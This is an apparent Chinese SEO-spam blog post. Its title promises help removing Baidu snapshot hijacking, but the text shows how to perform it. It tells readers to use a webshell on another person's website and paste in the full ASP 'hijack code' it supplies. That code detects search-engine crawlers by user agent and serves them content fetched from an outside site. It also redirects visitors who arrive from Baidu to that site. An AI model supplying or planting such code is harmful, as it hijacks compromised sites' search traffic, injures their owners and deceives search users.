百度排名工具

百度快照绑架怎样删去_找出百度快照绑架文件办法

字号+ 作者:admin来源:未知 2019-01-24 21:59

webshell简略来说就是网站控制权,是他人的网站。index.asp一般ASP主页是index就是主页 记住 代码是放到的上下代码咱们确保都是最新的,代码经常会过期用不了,或许被屏蔽。咱们会一向供给最新的代码免费的更新


这个就是快照绑架只需对方网站更新了 那么 就是你的网站要害字 经过百度打开会进入你的网站

百度快照绑架
咱们先进入这个站的webshell
webshell简略来说就是网站控制权,是他人的网站。index.asp一般ASP主页是index就是主页 记住 代码是放到的上下代码咱们确保都是最新的,代码经常会过期用不了,或许被屏蔽。咱们会一向供给最新的代码免费的更新
webshell
ASP绑架代码
<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=\"\"
s_agent=Request.ServerVariables(\"HTTP_USER_AGENT\") '要害判别句子
if instr(1,s_agent,\"googlebot\",1) >0 then
GetBot=\"google\"
end if
if instr(1,s_agent,\"msnbot\",1) >0 then
GetBot=\"MSN\"
end if
if instr(1,s_agent,\"slurp\",1) >0 then
GetBot=\"Yahoo\"
end if
if instr(1,s_agent,\"baiduspider\",1) >0 then
GetBot=\"baidu\"
end if
if instr(1,s_agent,\"sohu-search\",1) >0 then
GetBot=\"Sohu\"
end if
if instr(1,s_agent,\"lycos\",1) >0 then
GetBot=\"Lycos\"
end if
if instr(1,s_agent,\"robozilla\",1) >0 then
GetBot=\"Robozilla\"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,\"utf-8\")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject(\"Microsoft.XMLHTTP\")
With Retrieval
.Open \"Get\", url, False, \"\", \"\"
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject(\"adodb.stream\")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot=\"baidu\" then
url=\"http://www.55um.com/\"
wstr=getHTTPPage(url)
body=wstr
response.write \"\"&body&\"\"
response.end
elseif GetBot=\"google\" then
url=\"http://www.55um.com/\"
wstr=getHTTPPage(url)
body=wstr
response.write \"\"&body&\"\"
response.end
end if
if instr(Request.ServerVariables(\"http_referer\"),\"www.baidu.com\")>0 then
response.redirect(\"http://www.55um.com/\")
end if
%>

转载请注明出处。

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章